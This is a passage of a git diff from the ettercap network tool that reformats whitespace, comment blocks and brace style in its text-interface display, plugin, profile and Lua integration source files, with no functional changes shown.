adv: %8lu b/s\n", - GBL_STATS->bh.thru_worst, GBL_STATS->bh.thru_adv); - fprintf(stdout, " Top Half throughput : worst: %8lu adv: %8lu b/s\n\n", - GBL_STATS->th.thru_worst, GBL_STATS->th.thru_adv); + + fprintf(stdout, " Current queue len : %lu/%lu\n", GBL_STATS->queue_curr, GBL_STATS->queue_max); + fprintf(stdout, " Sampling rate : %d\n\n", GBL_CONF->sampling_rate); + + fprintf(stdout, " Bottom Half received packet : pck: %8" PRIu64 " byte: %8" PRIu64 "\n", + GBL_STATS->bh.pck_recv, GBL_STATS->bh.pck_size); + fprintf(stdout, " Top Half received packet : pck: %8" PRIu64 " byte: %8" PRIu64 "\n", + GBL_STATS->th.pck_recv, GBL_STATS->th.pck_size); + fprintf(stdout, " Interesting packets : %.2f %%\n\n", + (GBL_STATS->bh.pck_recv) ? (float)GBL_STATS->th.pck_recv * 100 / GBL_STATS->bh.pck_recv : 0); + + fprintf(stdout, " Bottom Half packet rate : worst: %8lu adv: %8lu p/s\n", + GBL_STATS->bh.rate_worst, GBL_STATS->bh.rate_adv); + fprintf(stdout, " Top Half packet rate : worst: %8lu adv: %8lu p/s\n\n", + GBL_STATS->th.rate_worst, GBL_STATS->th.rate_adv); + + fprintf(stdout, " Bottom Half throughput : worst: %8lu adv: %8lu b/s\n", + GBL_STATS->bh.thru_worst, GBL_STATS->bh.thru_adv); + fprintf(stdout, " Top Half throughput : worst: %8lu adv: %8lu b/s\n\n", + GBL_STATS->th.thru_worst, GBL_STATS->th.thru_adv); } /* @@ -602,25 +591,23 @@ static void text_hosts_list(void) int i = 1; fprintf(stdout, "\n\nHosts list:\n\n"); - + /* print the list */ LIST_FOREACH(hl, &GBL_HOSTLIST, next) { - + ip_addr_ntoa(&hl->ip, ip); mac_addr_ntoa(hl->mac, mac); - + if (hl->hostname) fprintf(stdout, "%d)\t%s\t%s\t%s\n", i++, ip, mac, hl->hostname); else fprintf(stdout, "%d)\t%s\t%s\n", i++, ip, mac); - } fprintf(stdout, "\n\n"); - } -/* +/* * prompt the user for the visualization mode */ @@ -628,41 +615,40 @@ static void text_visualization(void) { char format[16]; int restore = 0; - + /* stop the visualization while the plugin interface is running */ if (!GBL_OPTIONS->quiet) { text_stop_cont(); restore = 1; } - + /* repristinate the buffere input */ tcsetattr(0, TCSANOW, &old_tc); fprintf(stdout, "\n\nVisualization format: "); fflush(stdout); - + scanf("%15s", format); - + /* disable buffered input */ tcsetattr(0, TCSANOW, &new_tc); - + /* set the format */ - set_format(format); - + set_format(format); + /* continue the packet printing */ if (restore) text_stop_cont(); } - /* - * enter the profile interface + * enter the profile interface */ static void text_profile_list(void) { int restore = 0; - + /* stop the visualization while the profiles interface is running */ if (!GBL_OPTIONS->quiet) { text_stop_cont(); @@ -680,4 +666,3 @@ static void text_profile_list(void) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/text/ec_text.h b/src/interfaces/text/ec_text.h index 5027a2f8c..2f52c4782 100644 --- a/src/interfaces/text/ec_text.h +++ b/src/interfaces/text/ec_text.h @@ -12,4 +12,3 @@ extern void text_connections(void); /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/text/ec_text_conn.c b/src/interfaces/text/ec_text_conn.c index 27c7e81e7..0967b126c 100644 --- a/src/interfaces/text/ec_text_conn.c +++ b/src/interfaces/text/ec_text_conn.c @@ -1,23 +1,23 @@ /* - ettercap -- diplay the connection list - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- diplay the connection list + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -35,19 +35,19 @@ void text_connections(void); /*******************************************/ void text_connections(void) -{ +{ void *list; char *desc; - + SAFE_CALLOC(desc, 160, sizeof(char)); /* retrieve the first element */ list = conntrack_print(0, NULL, NULL, 0); - + fprintf(stdout, "\nConnections list:\n\n"); - + /* walk the connection list */ - while(list) { + while (list) { /* get the next element */ list = conntrack_print(+1, list, &desc, 159); fprintf(stdout, "%s\n", desc); @@ -58,8 +58,6 @@ void text_connections(void) SAFE_FREE(desc); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/text/ec_text_display.c b/src/interfaces/text/ec_text_display.c index 4df9b6959..132a14eae 100644 --- a/src/interfaces/text/ec_text_display.c +++ b/src/interfaces/text/ec_text_display.c @@ -1,23 +1,23 @@ /* - ettercap -- formats and displays the packets - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- formats and displays the packets + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -31,10 +31,9 @@ static void display_headers(struct packet_object *po); /*******************************************/ - void text_print_packet(struct packet_object *po) { - /* + /* * keep it static so it is always the same * memory region used for this operation */ @@ -44,39 +43,39 @@ void text_print_packet(struct packet_object *po) /* don't display the packet */ if (GBL_OPTIONS->quiet) return; - - /* - * if the regex does not match, the packet is not interesting + + /* + * if the regex does not match, the packet is not interesting * * should we put this after the format function ? * in this way we can match e.t.t.e.r.c.a.p in TEXT mode with * the "ettercap" regex */ - if (GBL_OPTIONS->regex && - regexec(GBL_OPTIONS->regex, (const char *)po->DATA.disp_data, 0, NULL, 0) != 0) { + if (GBL_OPTIONS->regex && + regexec(GBL_OPTIONS->regex, (const char *)po->DATA.disp_data, 0, NULL, 0) != 0) + { return; } - - /* + + /* * prepare the buffer, * the max length is hex_fomat * so use its length for the buffer */ SAFE_REALLOC(tmp, hex_len(po->DATA.disp_len) * sizeof(u_char)); - /* + /* * format the packet with the function set by the user */ ret = GBL_FORMAT(po->DATA.disp_data, po->DATA.disp_len, tmp); /* print the headers */ display_headers(po); - + /* sync stream/descriptor output and print the packet */ fflush(stdout); write(fileno(stdout), tmp, ret); -} - +} static void display_headers(struct packet_object *po) { @@ -86,9 +85,9 @@ static void display_headers(struct packet_object *po) char flags[10]; char *p = flags; char proto[5]; - + memset(flags, 0, sizeof(flags)); - memset(proto, 0, sizeof(proto)); + memset(proto, 0, sizeof(proto)); /* display the date. ec_ctime() has no newline at end. */ #if defined OS_DARWIN @@ -101,9 +100,9 @@ static void display_headers(struct packet_object *po) /* display the mac addresses */ mac_addr_ntoa(po->L2.src, tmp1); mac_addr_ntoa(po->L2.dst, tmp2); - fprintf(stdout, "%17s --> %17s\n", tmp1, tmp2 ); + fprintf(stdout, "%17s --> %17s\n", tmp1, tmp2); } - + /* calculate the flags */ if (po->L4.flags & TH_SYN) *p++ = 'S'; if (po->L4.flags & TH_FIN) *p++ = 'F'; @@ -114,27 +113,25 @@ static void display_headers(struct packet_object *po) if (po->L4.flags & TH_ECE) *p++ = 'E'; /* rfc 2481/3168 */ if (po->L4.flags & TH_CWR) *p++ = 'C'; /* rfc 2481/3168 */ *p++ = '\0'; - + /* determine the proto */ - switch(po->L4.proto) { - case NL_TYPE_TCP: - strncpy(proto, "TCP", 3); - break; - case NL_TYPE_UDP: - strncpy(proto, "UDP", 3); - break; + switch (po->L4.proto) { + case NL_TYPE_TCP: + strncpy(proto, "TCP", 3); + break; + case NL_TYPE_UDP: + strncpy(proto, "UDP", 3); + break; } - + /* display the ip addresses */ ip_addr_ntoa(&po->L3.src, tmp1); ip_addr_ntoa(&po->L3.dst, tmp2); fprintf(stdout, "%s %s:%d --> %s:%d | %s (%zu)\n", proto, tmp1, ntohs(po->L4.src), - tmp2, ntohs(po->L4.dst), - flags, po->DATA.disp_len); + tmp2, ntohs(po->L4.dst), + flags, po->DATA.disp_len); } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/text/ec_text_plugin.c b/src/interfaces/text/ec_text_plugin.c index 833682a19..f5a7930f2 100644 --- a/src/interfaces/text/ec_text_plugin.c +++ b/src/interfaces/text/ec_text_plugin.c @@ -1,23 +1,23 @@ /* - ettercap -- text GUI for plugin management - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- text GUI for plugin management + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -31,7 +31,6 @@ static void text_plugin_list(char active, struct plugin_ops *ops); /*******************************************/ - /* the interface */ int text_plugin(char *plugin) @@ -39,9 +38,9 @@ int text_plugin(char *plugin) int type; DEBUG_MSG("text_plugin: %s", plugin); - + /* - * if the plugin name is "list", print the + * if the plugin name is "list", print the * plugin list and exit */ if (!strcasecmp(plugin, "list")) { @@ -50,28 +49,26 @@ int text_plugin(char *plugin) INSTANT_USER_MSG("\nAvailable plugins :\n\n"); type = plugin_list_walk(PLP_MIN, PLP_MAX, &text_plugin_list); - if (type == -E_NOTFOUND) + if (type == -E_NOTFOUND) FATAL_MSG("No plugin found !\n"); - + INSTANT_USER_MSG("\n\n"); - /* - * return an error, so the text interface + /* + * return an error, so the text interface * ends and returns to main */ return -E_INVALID; } - /* check if the plugin exists */ if (search_plugin(plugin) != E_SUCCESS) FATAL_MSG("%s plugin can not be found !", plugin); - - + if (plugin_is_activated(plugin) == 0) INSTANT_USER_MSG("Activating %s plugin...\n\n", plugin); else INSTANT_USER_MSG("Deactivating %s plugin...\n\n", plugin); - + /* * pay attention on this ! * if the plugin init does not return, @@ -81,21 +78,19 @@ int text_plugin(char *plugin) */ if (plugin_is_activated(plugin) == 1) return plugin_fini(plugin); - else + else return plugin_init(plugin); - } /* - * callback function for displaying the plugin list + * callback function for displaying the plugin list */ static void text_plugin_list(char active, struct plugin_ops *ops) { - INSTANT_USER_MSG("[%d] %15s %4s %s\n", active, - ops->name, ops->version, ops->info); + INSTANT_USER_MSG("[%d] %15s %4s %s\n", active, + ops->name, ops->version, ops->info); } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/text/ec_text_profile.c b/src/interfaces/text/ec_text_profile.c index 30f8d70f7..fe20a4793 100644 --- a/src/interfaces/text/ec_text_profile.c +++ b/src/interfaces/text/ec_text_profile.c @@ -1,23 +1,23 @@ /* - ettercap -- diplay the collected profiles - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- diplay the collected profiles + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -27,9 +27,9 @@ #include #ifdef OS_WINDOWS - #include +#include #else - #include +#include #endif /* globals */ @@ -48,17 +48,17 @@ static void detail_help(void); /*******************************************/ void text_profiles(void) -{ +{ detail_help(); - + LOOP { - + CANCELLATION_POINT(); - + /* if there is a pending char to be read */ - if ( ec_poll_in(fileno(stdin), 10) || ec_poll_buffer(GBL_OPTIONS->script) ) { - + if (ec_poll_in(fileno(stdin), 10) || ec_poll_buffer(GBL_OPTIONS->script)) { + char ch = 0; /* get the input from the stdin or the buffer */ @@ -67,46 +67,45 @@ void text_profiles(void) else ch = getchar(); - switch(ch) { - case 'H': - case 'h': - detail_help(); - break; - case 'L': - case 'l': - detail_hosts(FP_HOST_LOCAL); - break; - case 'R': - case 'r': - detail_hosts(FP_HOST_NONLOCAL); - break; - case 'S': - case 's': - detail_select(); - break; - case 'p': - profile_purge_local(); - USER_MSG("LOCAL hosts purged !\n"); - break; - case 'P': - profile_purge_remote(); - USER_MSG("REMOTE hosts purged !\n"); - break; - case 'Q': - case 'q': - USER_MSG("Returning to main menu...\n"); - ui_msg_flush(1); - return; - break; + switch (ch) { + case 'H': + case 'h': + detail_help(); + break; + case 'L': + case 'l': + detail_hosts(FP_HOST_LOCAL); + break; + case 'R': + case 'r': + detail_hosts(FP_HOST_NONLOCAL); + break; + case 'S': + case 's': + detail_select(); + break; + case 'p': + profile_purge_local(); + USER_MSG("LOCAL hosts purged !\n"); + break; + case 'P': + profile_purge_remote(); + USER_MSG("REMOTE hosts purged !\n"); + break; + case 'Q': + case 'q': + USER_MSG("Returning to main menu...\n"); + ui_msg_flush(1); + return; + break; } } - + /* print pending USER_MSG messages */ ui_msg_flush(10); } - + /* NOT REACHED */ - } /* @@ -124,25 +123,25 @@ static void detail_help(void) } /* - * print the list of TYPE (local or remote) hosts + * print the list of TYPE (local or remote) hosts */ static void detail_hosts(int type) { struct host_profile *h; int at_least_one = 0; - + /* go thru the list and print a profile for each host */ TAILQ_FOREACH(h, &GBL_PROFILES, next) { if (h->type & type) { - + at_least_one = 1; - + /* print the host infos */ print_host(h); } } - + /* there aren't any profiles */ if (!at_least_one) { if (GBL_OPTIONS->read) { @@ -162,18 +161,18 @@ static void detail_select(void) struct host_profile *h; char tmp[MAX_ASCII_ADDR_LEN]; int i = 0, n = -1; - + /* go thru the list and print a profile for each host */ TAILQ_FOREACH(h, &GBL_PROFILES, next) { fprintf(stdout, "%2d) %15s %s\n", ++i, ip_addr_ntoa(&h->L3_addr, tmp), h->hostname); } - + /* there aren't any profiles */ if (i == 0) { fprintf(stdout, "No collected profiles !!\n"); return; } - + fprintf(stdout, "Select an host to display (0 for all, -1 to quit): "); fflush(stdout); @@ -182,35 +181,34 @@ static void detail_select(void) /* get the user input */ scanf("%d", &n); - + /* disable buffered input */ tcsetattr(0, TCSANOW, &new_tc); - + fprintf(stdout, "\n\n"); /* do the proper action */ - switch(n) { - case -1: - /* quit with no action */ - return; - break; - case 0: - /* print ALL the profiles */ - TAILQ_FOREACH(h, &GBL_PROFILES, next) + switch (n) { + case -1: + /* quit with no action */ + return; + break; + case 0: + /* print ALL the profiles */ + TAILQ_FOREACH(h, &GBL_PROFILES, next) + print_host(h); + + break; + default: + i = 1; + TAILQ_FOREACH(h, &GBL_PROFILES, next) { + if (i++ == n) print_host(h); - - break; - default: - i = 1; - TAILQ_FOREACH(h, &GBL_PROFILES, next) { - if (i++ == n) - print_host(h); - } - break; + } + break; } } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/lua/ec_lua.c b/src/lua/ec_lua.c index e220fa768..f142fd483 100644 --- a/src/lua/ec_lua.c +++ b/src/lua/ec_lua.c @@ -1,25 +1,24 @@ /* - - ec_lua - Ettercap LUA integration - - Copyright (C) Mike Ryan and Ryan Linn - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * + * ec_lua - Ettercap LUA integration + * + * Copyright (C) Mike Ryan and Ryan Linn + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include @@ -35,294 +34,278 @@ #include struct lua_hook_list { - int hook_point; - int func_ref; - SLIST_ENTRY(lua_hook_list) next; + int hook_point; + int func_ref; + SLIST_ENTRY(lua_hook_list) next; }; SLIST_HEAD(, lua_hook_list) lua_hook_table; /* additional functions */ -lua_State* _lua_state; +lua_State *_lua_state; int _lua_script_count = 0; char **_lua_scripts = NULL; int _lua_arg_count = 0; char **_lua_args = NULL; LUALIB_API int luaopen_ettercap_c(lua_State *L); -int ec_lua_panic(lua_State * state); +int ec_lua_panic(lua_State *state); /*********************************************************/ -EC_API_EXTERN int ec_lua_init() +EC_API_EXTERN int ec_lua_init() { - int i = 0; - DEBUG_MSG("EC_LUA: ec_lua_init started..."); + int i = 0; + DEBUG_MSG("EC_LUA: ec_lua_init started..."); - if (_lua_script_count == 0) { + if (_lua_script_count == 0) { // We've got no scripts to load, so there's no reason to start up. USER_MSG("Lua: no scripts were specified, not starting up!\n"); return 0; - } + } - // Initialize lua - if ((_lua_state = luaL_newstate()) == NULL) - { - // Lua failed to initialize! + // Initialize lua + if ((_lua_state = luaL_newstate()) == NULL) { + // Lua failed to initialize! LUA_FATAL_ERROR("EC_LUA: Failed to initialize LUA instance!"); - } + } - // Set up the 'panic' handler, which let's us control - lua_atpanic(_lua_state, ec_lua_panic); + // Set up the 'panic' handler, which let's us control + lua_atpanic(_lua_state, ec_lua_panic); - /* load lua libraries */ - luaL_openlibs(_lua_state); - luaopen_ettercap_c(_lua_state); + /* load lua libraries */ + luaL_openlibs(_lua_state); + luaopen_ettercap_c(_lua_state); - /* Now load the lua files */ - int dofile_err_code = luaL_dofile(_lua_state, INSTALL_LUA_INIT); + /* Now load the lua files */ + int dofile_err_code = luaL_dofile(_lua_state, INSTALL_LUA_INIT); - if (dofile_err_code == 0) { + if (dofile_err_code == 0) { DEBUG_MSG("EC_LUA: initialized %s", INSTALL_LUA_INIT); - } else { + } else { // We just error out of the whole process.. - LUA_FATAL_ERROR("EC_LUA Failed to initialize %s. Error %d: %s\n", - INSTALL_LUA_INIT, dofile_err_code, lua_tostring(_lua_state, -1)); - } - - // Push an array of the list of scripts specified on the command line - // we don't have args yet, but that should be next - lua_getglobal(_lua_state,ETTERCAP_LUA_MODULE); - lua_getfield(_lua_state, -1, "main"); - - lua_newtable(_lua_state); // lua_scripts - for(i = 0; i < _lua_script_count; i++) - { - lua_pushstring(_lua_state,_lua_scripts[i]); - lua_rawseti(_lua_state,-2, i+1); - } - - lua_newtable(_lua_state); // lua_args - for(i = 0; i < _lua_arg_count; i++) - { + LUA_FATAL_ERROR("EC_LUA Failed to initialize %s. Error %d: %s\n", + INSTALL_LUA_INIT, dofile_err_code, lua_tostring(_lua_state, -1)); + } + + // Push an array of the list of scripts specified on the command line + // we don't have args yet, but that should be next + lua_getglobal(_lua_state, ETTERCAP_LUA_MODULE); + lua_getfield(_lua_state, -1, "main"); + + lua_newtable(_lua_state); // lua_scripts + for (i = 0; i < _lua_script_count; i++) { + lua_pushstring(_lua_state, _lua_scripts[i]); + lua_rawseti(_lua_state, -2, i + 1); + } + + lua_newtable(_lua_state); // lua_args + for (i = 0; i < _lua_arg_count; i++) { lua_pushstring(_lua_state, _lua_args[i]); - lua_rawseti(_lua_state,-2, i+1); - } - int err_code = lua_pcall(_lua_state,2,0,0); + lua_rawseti(_lua_state, -2, i + 1); + } + int err_code = lua_pcall(_lua_state, 2, 0, 0); - if (err_code != 0) - { + if (err_code != 0) { // Flush all messages so we can see where we are. ui_msg_flush(MSG_ALL); FATAL_ERROR("EC_LUA script load failed with error %d: \n\t%s\n", err_code, - lua_tostring(_lua_state, -1)); - } + lua_tostring(_lua_state, -1)); + } - USER_MSG("Lua initialized!\n"); - return 0; + USER_MSG("Lua initialized!\n"); + return 0; } -EC_API_EXTERN int ec_lua_cli_add_script(char * script) +EC_API_EXTERN int ec_lua_cli_add_script(char *script) { - if (_lua_script_count == 0) - SAFE_CALLOC(_lua_scripts,1,sizeof(char *)); - else - SAFE_REALLOC(_lua_scripts, (_lua_script_count + 1) * sizeof(char *)); - - _lua_scripts[_lua_script_count] = script; - _lua_script_count = _lua_script_count + 1; - return 0; + if (_lua_script_count == 0) + SAFE_CALLOC(_lua_scripts, 1, sizeof(char *)); + else + SAFE_REALLOC(_lua_scripts, (_lua_script_count + 1) * sizeof(char *)); + + _lua_scripts[_lua_script_count] = script; + _lua_script_count = _lua_script_count + 1; + return 0; } -EC_API_EXTERN int ec_lua_cli_add_args(char * args) +EC_API_EXTERN int ec_lua_cli_add_args(char *args) { - if (_lua_arg_count == 0) - SAFE_CALLOC(_lua_args, 1, sizeof(char *)); - else - SAFE_REALLOC(_lua_args, (_lua_arg_count + 1) * sizeof(char *)); - - _lua_args[_lua_arg_count] = args; - _lua_arg_count = _lua_arg_count + 1; - return 0; + if (_lua_arg_count == 0) + SAFE_CALLOC(_lua_args, 1, sizeof(char *)); + else + SAFE_REALLOC(_lua_args, (_lua_arg_count + 1) * sizeof(char *)); + + _lua_args[_lua_arg_count] = args; + _lua_arg_count = _lua_arg_count + 1; + return 0; } -EC_API_EXTERN int ec_lua_load_script(const char * name) +EC_API_EXTERN int ec_lua_load_script(const char *name) { - lua_getglobal(_lua_state,ETTERCAP_LUA_MODULE); - lua_getfield(_lua_state, -1, "load_script"); - lua_pushstring(_lua_state, name); - lua_call(_lua_state,1,0); + lua_getglobal(_lua_state, ETTERCAP_LUA_MODULE); + lua_getfield(_lua_state, -1, "load_script"); + lua_pushstring(_lua_state, name); + lua_call(_lua_state, 1, 0); - return 0; + return 0; } -EC_API_EXTERN int ec_lua_fini() +EC_API_EXTERN int ec_lua_fini() { - /* + /* * called to terminate a plugin. - * usually to kill threads created in the - * init function or to remove hook added + * usually to kill threads created in the + * init function or to remove hook added * previously. */ - DEBUG_MSG("EC_LUA: cleanup started..."); - /* cleanup Lua */ - if (_lua_state != NULL) { - lua_getglobal(_lua_state,ETTERCAP_LUA_MODULE); + DEBUG_MSG("EC_LUA: cleanup started..."); + /* cleanup Lua */ + if (_lua_state != NULL) { + lua_getglobal(_lua_state, ETTERCAP_LUA_MODULE); lua_getfield(_lua_state, -1, "cleanup"); - int err_code = lua_pcall(_lua_state,0,0,0); - if (err_code == 0) - { - // Close things down all nice-nice. - lua_close(_lua_state); - } - else - { - // Let's make sure all the messages are flushed so we can see where - // we are at. - ui_msg_flush(MSG_ALL); - - // Dump our error and exit. We can't continue on becuase it is very - // possible that we still have hooks dangling around out there, and - // if we're only partially handling things then we could very well - // get segfaults and such. - FATAL_ERROR("EC_LUA: cleanup failed with error %d: %s\n", err_code, - lua_tostring(_lua_state, -1)); + int err_code = lua_pcall(_lua_state, 0, 0, 0); + if (err_code == 0) { + // Close things down all nice-nice. + lua_close(_lua_state); + } else { + // Let's make sure all the messages are flushed so we can see where + // we are at. + ui_msg_flush(MSG_ALL); + + // Dump our error and exit. We can't continue on becuase it is very + // possible that we still have hooks dangling around out there, and + // if we're only partially handling things then we could very well + // get segfaults and such. + FATAL_ERROR("EC_LUA: cleanup failed with error %d: %s\n", err_code, + lua_tostring(_lua_state, -1)); } - } - else - { + } else { DEBUG_MSG("EC_LUA: cleanup No cleanup needed! Lua wasn't even loaded."); - } + } - _lua_state = NULL; - USER_MSG("Lua cleanup complete!\n"); - return 0; + _lua_state = NULL; + USER_MSG("Lua cleanup complete!\n"); + return 0; } // Handles 'panic' errors in the event that lua freaks out at some point. // This just let's us handle things the "ettercap" way, if need be. -int ec_lua_panic(lua_State * state) +int ec_lua_panic(lua_State *state) { - const char *err_msg = lua_tostring(state, 1); - LUA_FATAL_ERROR("EC_LUA: Unprotected error from LUA runtime: %s\n", err_msg); - return 0; + const char *err_msg = lua_tostring(state, 1); + LUA_FATAL_ERROR("EC_LUA: Unprotected error from LUA runtime: %s\n", err_msg); + return 0; } -void ec_lua_print_stack(FILE * io) +void ec_lua_print_stack(FILE *io) { - lua_Debug ar; - int level = 0; - while (lua_getstack(_lua_state, level++, &ar)) - { - lua_getinfo(_lua_state, "Snl", &ar); - fprintf(io, "\t%s:", ar.short_src); - if (ar.currentline > 0) - fprintf(io, "%d:", ar.currentline); - if (*ar.namewhat != '\0') { /* is there a name? */ - fprintf(io, " in function " LUA_QS, ar.name); - } else { - if (*ar.what == 'm') /* main? */ - fprintf(io, " in main chunk"); - else if (*ar.what == 'C' || *ar.what == 't') - fprintf(io, " ?"); /* C function or tail call */ - else - fprintf(io, " in function <%s:%d>", - ar.short_src, ar.linedefined); - } - fprintf(io, "\n"); - } - fprintf(io, "Lua stack depth: %d\n", level - 1); - + lua_Debug ar; + int level = 0; + while (lua_getstack(_lua_state, level++, &ar)) { + lua_getinfo(_lua_state, "Snl", &ar); + fprintf(io, "\t%s:", ar.short_src); + if (ar.currentline > 0) + fprintf(io, "%d:", ar.currentline); + if (*ar.namewhat != '\0') { /* is there a name? */ + fprintf(io, " in function " LUA_QS, ar.name); + } else { + if (*ar.what == 'm') /* main? */ + fprintf(io, " in main chunk"); + else if (*ar.what == 'C' || *ar.what == 't') + fprintf(io, " ?"); /* C function or tail call */ + else + fprintf(io, " in function <%s:%d>", + ar.short_src, ar.linedefined); + } + fprintf(io, "\n"); + } + fprintf(io, "Lua stack depth: %d\n", level - 1); } - // Passes the hooked packet into Lua, along with its hook point. -int ec_lua_dispatch_hooked_packet(int point, struct packet_object * po) +int ec_lua_dispatch_hooked_packet(int point, struct packet_object *po) { - struct lua_hook_list *lua_hook_entry; - int err_code; - - // Don't have to do anything if we don't have a state. - if (_lua_state == NULL) - return 0; - - - SLIST_FOREACH(lua_hook_entry, &lua_hook_table, next) { - if (point == lua_hook_entry->hook_point) { - lua_rawgeti(_lua_state, LUA_REGISTRYINDEX, lua_hook_entry->func_ref); - lua_pushlightuserdata(_lua_state, (void *) po); - err_code = lua_pcall(_lua_state,1,0,0); - if (err_code != 0) { - LUA_FATAL_ERROR("EC_LUA ec_lua_dispatch_hooked_packet Failed. Error %d: %s\n", - err_code, lua_tostring(_lua_state, -1)); + struct lua_hook_list *lua_hook_entry; + int err_code; + + // Don't have to do anything if we don't have a state. + if (_lua_state == NULL) + return 0; + + SLIST_FOREACH(lua_hook_entry, &lua_hook_table, next) { + if (point == lua_hook_entry->hook_point) { + lua_rawgeti(_lua_state, LUA_REGISTRYINDEX, lua_hook_entry->func_ref); + lua_pushlightuserdata(_lua_state, (void *)po); + err_code = lua_pcall(_lua_state, 1, 0, 0); + if (err_code != 0) { + LUA_FATAL_ERROR("EC_LUA ec_lua_dispatch_hooked_packet Failed. Error %d: %s\n", + err_code, lua_tostring(_lua_state, -1)); + } } - } - } + } - return 0; + return 0; } - /// Lua APIs -// This is just a simple wrapper for USER_MSG. -static int l_log(lua_State* state) +// This is just a simple wrapper for USER_MSG. +static int l_log(lua_State *state) { - const char *str = lua_tostring(state, 1); - USER_MSG("%s\n", str); - return 0; + const char *str = lua_tostring(state, 1); + USER_MSG("%s\n", str); + return 0; } -// This is called when a hook is added in lua-land. We'll use 